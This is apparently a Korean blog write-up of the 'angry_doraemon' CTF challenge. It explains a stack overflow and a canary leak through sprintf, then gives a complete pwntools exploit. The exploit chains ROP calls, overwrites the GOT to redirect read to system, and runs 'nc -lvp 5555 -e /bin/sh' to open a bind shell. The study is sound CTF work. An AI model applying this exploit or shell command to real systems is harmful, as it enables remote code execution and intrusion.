메인함수 보면 소켓통신하는데 포트가 8888인걸 알 수있다.
- Attack menu -
1.Sword
2.Screwdriver
3.Red-bean bread
4.Throw mouse
5.Fist attack
6.Give up
메뉴는 다음과 같다.
1번 메뉴를 보면 execl("/bin/sh") 함수가 존재하고
5번 메뉴에서 buf()가 있는걸 보고 해당 주소로 가게끔 하면 안되나 싶었는데 BYTE3(buf) != 8..
즉 코드영역(0x08로 시작하는 주소)을 못덮게 막아놔서 이 부분은 fake라고 생각했다.
천천히 살펴보면 4번 메뉴에 취약점이 있다.
해당 함수에서 카나리가 릭이 가능한데 일단 스택 구조를 먼저 살펴보면 아래와 같다.
buf[10] + canary[4] + dummy[8] + sfp[4] + ret[4]
buf 크기는 10인데 read에선 110까지 입력받는다. 즉 오버플로우 발생
여기서 잠깐 해맸는데 buf에 y*9 넣고 엔터를 눌러 총 y*9 + '\x0a' == 10byte 값을 넣어주면 sprintf에서 canary 값이 추출될거라고 생각했다. (sprintf는 NULL('\x00')을 만날때까지 출력)
하지만 입력했던 문자열만 계속 출력되고 카나리 값이 보이지 않았다.
11개 입력하면 카나리 값이 추출되긴하지만 canary 1byte값이 짤린다.
그 이유를 곰곰히 생각해봤는데 canary의 마지막 byte가 0x00 이면 설명이 된다.. (sprintf 특징때문)
즉 카나리는 0x??????00 이 된다. 카나리를 덮을 수 있으니 이제 익스코드 짜면 된다.
[Exploit]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 | from pwn import * from time import * p = remote('localhost', 8888) e = ELF('./angry_doraemon') #garget bss = e.bss() pppr = 0x80495bd offset = 0x9ad50 #read-system write_plt = e.plt['write'] read_plt = e.plt['read'] read_got = e.got['read'] cmd = 'nc -lvp 5555 -e /bin/sh\x00' #canary leak p.sendlineafter('>', '4') p.sendlineafter('(y/n) ', 'y'*10) p.recvuntil('y'*10 + '\x0a') canary = u32("\x00" + p.recv(3)) print 'canary = ' + hex(canary) p.close() ################################################### p = remote('localhost', 8888) p.sendlineafter('>', '4') #rop start payload = '' payload += "A"*10 payload += p32(canary) payload += "A"*12 #"/bin/sh"+"\x00" -> bss payload += p32(read_plt) payload += p32(pppr) payload += p32(4) payload += p32(bss) payload += p32(len(cmd)+1) #read leak payload += p32(write_plt) payload += p32(pppr) payload += p32(4) payload += p32(read_got) payload += p32(4) #read_got -> system payload += p32(read_plt) payload += p32(pppr) payload += p32(4) payload += p32(read_got) payload += p32(4) #system /bin/sh payload += p32(read_plt) payload += "AAAA" payload += p32(bss) p.sendlineafter('(y/n) ', payload) sleep(1) p.sendline(cmd) read = u32(p.recv(4)) print 'read = ' + hex(read) print 'system = ' + hex(read - offset) p.sendline(p32(read - offset)) print 'nc localhost 5555' | cs |
해당 문제를 풀기위해 터미널 2개를 키고 진행했다.
일단 첫번째로 txt파일 4개 만들어준다음 프로세스 파일 실행시켜준다.
그 다음 다른 터미널창으로 가서 익스코드 실행시켜준다
다시 첫번째 터미널로가서 보면 짜잔하고 포트 5555가 정상적으로 켜졌음을 알린다.
nc로 익스코드에서 열었던 포트 5555로 접속하여 쉘이 따진걸 확인할 수 있다.
'CTF' 카테고리의 다른 글
[Codegate 2016] watermelon (0) | 2018.02.23 |
---|---|
[Codegate 2014] nuclear (0) | 2018.02.23 |
[Plaid 2013] ropasaurusrex (0) | 2018.02.18 |
[Codegate 2018] Welcome to droid (0) | 2018.02.09 |
[Nuit Du Hack 2017] Matriochka Step 2 (0) | 2018.02.08 |